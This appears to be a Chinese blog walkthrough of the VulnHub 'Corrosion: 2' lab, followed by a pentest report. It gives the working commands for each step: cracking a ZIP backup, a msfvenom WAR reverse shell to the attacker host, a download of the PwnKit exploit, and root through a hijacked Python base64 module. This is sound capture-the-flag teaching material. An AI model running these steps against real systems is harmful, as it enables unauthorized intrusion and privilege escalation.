当前位置: 首页 > news >正文

Corrosion: 2靶场渗透

Corrosion: 2

来自 <Corrosion: 2 ~ VulnHub>

 

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.152

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.152

 

4,访问80端口开放的http服务

扫描枚举网站子目录

gobuster dir -u http://192.168.23.152/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip

什么都没有

 

5,再访问8080端口开放的http服务

弱口令尝试登录失败,再扫描枚举其子目录

gobuster dir -u http://192.168.23.152:8080/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 403,404,400

http://192.168.23.152:8080/backup.zip

得到一个压缩包,解压即可。但是需要密码,解压失败

 

6,使用zip2john把加密 ZIP压缩包的密码哈希提取出来。它本身 不会破解密码,而是把压缩包转化成 JtR 能识别的哈希格式,再交给 John 去跑字典或暴力破解。

zip2john backup.zip > password_hash.txt

然后使用john对hash字典进行解密

john --wordlist=/usr/share/wordlists/rockyou.txt password_hash.txt

成功得到压缩包密码@administrator_hi5

解压缩包成功,在里面阅读泄露的敏感信息

cat tomcat-users.xml

成功得到账户密码,并且能够登录后台

manager:melehifokivai

admin:melehifokivai

 

7,java语言编写的tomcat框架爆出来过很多漏洞,例如文件上传。这里使用metasploit进行getshell,首先生成war文件木马

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.23.128 LPORT=4444 -f war -o shell.war

然后msfconsole打开监听模块

msfconsole -q

use exploit/multi/handler

set payload java/meterpreter/reverse_tcp

set LHOST 192.168.23.128

set LPORT 4444

run

然后上传java木马

点击进入这个网页即可触发,然后成功getshell

 

8,进入shell的管理页面,尝试获取可交互式shell

shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

信息收集一下

sudo -l需要密码,这个提权目前行不通

在目录/home/randy中有第一个 flag,并且从/home/randy/note.txt得到提示

兰迪,你好,我是系统管理员,希望你今天过得愉快!我想告知你,我已修改了你主目录的权限。目前你暂时无法删除或添加文件。

之后我会重新调整这些权限。

下周一见,兰迪!

9,发现 jaye 用户的密码和 manager 的密码一样都是 : melehifokivai

su jaye

python3 -c 'import pty;pty.spawn("/bin/bash")'

find / -perm -u=s -type f 2>/dev/null

查找具有 SUID 的命令发现polkit-agent-helper-1

1. 什么是 polkit

  • Polkit (PolicyKit) 是 Linux/Unix 系统中一套 权限管理框架
  • 它用于在 非特权用户 需要执行 特权操作 时,进行认证和授权。
  • 例如:
    • 普通用户尝试挂载硬盘
    • GUI 界面里点击“以管理员身份运行”
    • 网络管理器修改系统配置

这些操作都依赖 polkit 来决定是否允许,并提示输入密码。

2. polkit-agent-helper-1 的作用

  • polkit-agent-helper-1 是 Polkit 的认证助手程序
  • 它通常位于:

/usr/lib/policykit-1/polkit-agent-helper-1

  • 主要功能:
    1. 提示用户输入密码(通常是 root 或自己账户的密码)。
    2. 将密码提交给 polkitd(守护进程) 进行验证。
    1. 验证通过后,允许进程临时以更高权限执行操作。

换句话说,它是 polkit 的“桥梁”,在需要用户认证时负责交互。

3. 安全属性

-rwsr-xr-- 1 root root 42952 Mar 21  2024 /usr/lib/policykit-1/polkit-agent-helper-1

几个特点:

  • SUID root:带有 s 权限,意味着它会以 root 身份运行。
  • 受 polkitd 控制:不会随意给用户提权,而是严格遵循 polkit 策略。
  • 高价值目标:由于它是 SUID root 程序,如果存在漏洞(例如缓冲区溢出、命令注入),可能被滥用来提权。

4. 使用场景举例

  • 你在 GNOME、KDE 桌面点击“以管理员身份运行”。
  • 系统弹出一个对话框要求输入密码。
  • 实际上就是调用了 polkit-agent-helper-1,让你输入密码,并验证。

5. 安全研究 & 提权角度

  1. 正常行为
    • 它不会单独给用户 root 权限,必须配合 polkit 策略使用。
  2. 潜在风险
    • 由于它是 SUID root 程序,攻击者如果找到漏洞,就可能绕过 polkit 验证直接提权。
    • 历史上出现过相关提权漏洞,例如:
      • CVE-2021-3560(polkit 权限绕过,Ubuntu/Fedora 等受影响)。
      • 结合 polkit-agent-helper-1 的调用逻辑,可以获取 root shell。
  3. 检测与防御
    • 检查它的权限:ls -l /usr/lib/policykit-1/polkit-agent-helper-1
    • 更新系统,修复 polkit 漏洞。
    • 审计是否存在非正常调用行为。

总结

  • polkit-agent-helper-1 是 Polkit 权限认证框架的 SUID 助手程序
  • 它负责弹出密码提示并与 polkitd 通信,决定是否允许用户执行特权操作。
  • 本身是 高价值提权目标,需要保持系统更新,避免利用漏洞被攻击者滥用。

10,那么就可以利用CVE-2021-4034进行提权

export https_proxy="http://192.168.99.74:7897"

git clone GitHub - berdav/CVE-2021-4034: CVE-2021-4034 1day

cd CVE-2021-4034 

gcc -o cve-2021-4034 cve-2021-4034.c -static

python -m http.server

然后靶机下载已经编译好的exp

wget http://192.168.23.128:8000/cve-2021-4034

chmod 777 cve-2021-4034

./cve-2021-4034

脚本提权失败,太多问题。

11,randy用户密码可以爆破出来是07051986randy,ssh登录一下

ssh randy@192.168.23.152

看看sudo权限能做什么

再去查看这个python脚本功能和权限

脚本本身不可写入。但是调用了base64模块,那么我们就可以查看base64模块有无调用系统命令的能力,是否可以被写入,在其中加上shell

先写引入os模块,

在写入os.system("/bin/bash")

保存并退出。

12,sudo python3.8运行randombase64.py 脚本

sudo /usr/bin/python3.8 /home/randy/randombase64.py

提权成功,并且得到flag

Corrosion 2 渗透测试报告

1. 测试环境与前期准备

本次渗透测试选取了 Corrosion 2 虚拟靶机,攻击机与靶机网络均调整为 NAT 模式,以确保局域网互通。

通过局域网扫描确认攻击机和靶机 IP 分别为:

  • 攻击机:192.168.23.128
  • 靶机:192.168.23.152

初步的网络探测和服务扫描是后续渗透攻击的基础,为漏洞发现提供依据。

2. 网络服务扫描与Web服务枚举

  1. 对靶机全端口和服务版本进行探测,发现 Web 服务在 80 端口和 8080 端口均有开放。
  2. 对 80 端口进行目录枚举,但未发现可用的敏感目录或文件。
  3. 对 8080 端口进行进一步枚举,尝试弱口令登录和子目录扫描时,发现了 /backup.zip 压缩包。
    • 压缩包存在密码保护,无法直接访问。

3. 加密 ZIP 文件分析与密码破解

通过分析 ZIP 文件可知,其密码未知,需借助密码哈希提取工具将其转换为可破解格式。

  • 提取哈希后使用字典攻击成功破解密码,得到压缩包的密码。
  • 解压缩包后,发现敏感信息,包括 Tomcat 用户配置文件,泄露了管理员账户及密码。
  • 该阶段展示了 信息收集、密码破解与敏感数据利用 的完整流程。

4. Web 服务利用与反弹 Shell

  1. 靶机 8080 端口运行 Tomcat 框架,使用 Java 语言编写,具备文件上传漏洞风险。
  2. 结合已知漏洞利用工具生成 WAR 包木马,并在监听模块等待目标连接。
  3. 上传木马并访问触发页面后,成功获得了反弹 Shell。
  4. 进一步将 Shell 升级为交互式 Shell,以便执行后续信息收集和权限探测。

此阶段体现了 Java Web Exploit、反弹 Shell 获取与交互式权限维护 技术。

5. 系统信息收集与本地权限探索

  1. 通过用户权限检查发现,当前用户无法直接使用 sudo 提升权限。
  2. 在用户主目录中发现第一个 flag,并根据系统管理员留下的提示信息获得线索。
  3. 发现在同一台机器上的其他用户账户(jaye)与 Tomcat 管理员账户密码一致。
  4. 切换用户后,搜索具有 SUID 位的可执行文件,发现 polkit-agent-helper-1。

6. polkit-agent-helper-1 技术分析

  • 背景:Polkit 是 Linux 系统中用于权限管理的框架,负责非特权用户请求特权操作时的认证与授权。
  • 作用:polkit-agent-helper-1 是 Polkit 的认证助手程序,负责弹出密码提示并与守护进程通信,决定是否允许操作。
  • 安全属性
    • SUID root 可执行程序,意味着其以 root 身份运行。
    • 正常情况下受 Polkit 策略严格控制,不会任意提权。
  • 潜在风险:历史上曾存在 CVE 漏洞(如 CVE-2021-3560),攻击者可以利用 SUID 特性绕过验证,实现 root 权限获取。

该阶段展示了 本地权限枚举、SUID 程序分析与潜在提权目标评估 技术。

7. 本地提权尝试与漏洞分析

  1. 利用 CVE-2021-4034(PwnKit)进行 Polkit 权限绕过尝试,但由于依赖的系统库版本与目标环境不匹配,脚本提权失败。
  2. 对 randy 用户进行密码获取与 SSH 登录后,评估 sudo 权限配置,发现可执行特定 Python 脚本。
  3. 分析该 Python 脚本逻辑及依赖模块,发现其使用 base64 模块可调用系统命令。
  4. 通过在脚本中引入系统调用,结合 sudo 权限执行脚本,实现权限提升,获得 root 权限并成功获取目标 flag。

该阶段体现了 本地提权漏洞分析、脚本滥用技术与 SUID/模块权限利用 技术。

http://www.dtcms.com/a/364117.html

相关文章:

  • 数字化转型的终极关怀:以人为本
  • day3
  • 运作管理学习笔记4-产能规划
  • Flowable——配置使用Flowable-UI
  • 日语学习-日语知识点小记-构建基础-JLPT-N3阶段(24):文法+单词第8回1
  • STM32—SPI协议
  • vLLM推理框架:pagedAttention算法+pipeline介绍+源码逐行注释
  • 【技术详解】 OpenZeppelin ERC1155:Solidity 多代币标准实现原理(附完整 Solidity 源码)​
  • 网络通信IP细节
  • 【Vue】前端 vue2项目搭建入门级(二)
  • 嵌入式概述 与 51 单片机
  • 【单片机day01】
  • 第二章:技术基石:写出“活”的代码(1)
  • 什么时候需要使用虚继承,什么是菱形继承
  • HI3519DRFCV500/HI3519DV500海思核心板IPC算力2.5T图像ISP超高清智能视觉应用提供SDK软件开发包
  • 平衡车-ADC采集电池电压
  • 从 Arm Compiler 5 迁移到 Arm Compiler 6
  • HandyControl 解决不全局引入控件部分内容不显示问题
  • 论文学习30:LViT: Language Meets Vision Transformerin Medical Image Segmentation
  • 给大模型开卷考试的机会——写给开发者的 RAG 技术入门
  • 2025年女性最实用的IT行业证书推荐:赋能职业发展的8大选择
  • Shell编程从入门到实践:基础语法与正则表达式文本处理指南
  • RPM 构建错误: /var/tmp/rpm-tmp.gAmM5N (%prep) 退出状态不好,怎么办
  • HBuilder X 4.76 开发微信小程序集成 uview-plus
  • 关于IDE的相关知识之一【使用技巧】
  • GFSK信号生成算法原理详解
  • 避免侵权!这6个可免费下载字体网站能放心商用
  • 「数据获取」《安徽建设统计年鉴》(2002-2007)(2004、2006缺失)(获取方式看绑定的资源)
  • 【世纪龙科技】汽车专业数字化课程资源包-虚拟仿真实训资源建设
  • MYSQL配置复制拓扑知识点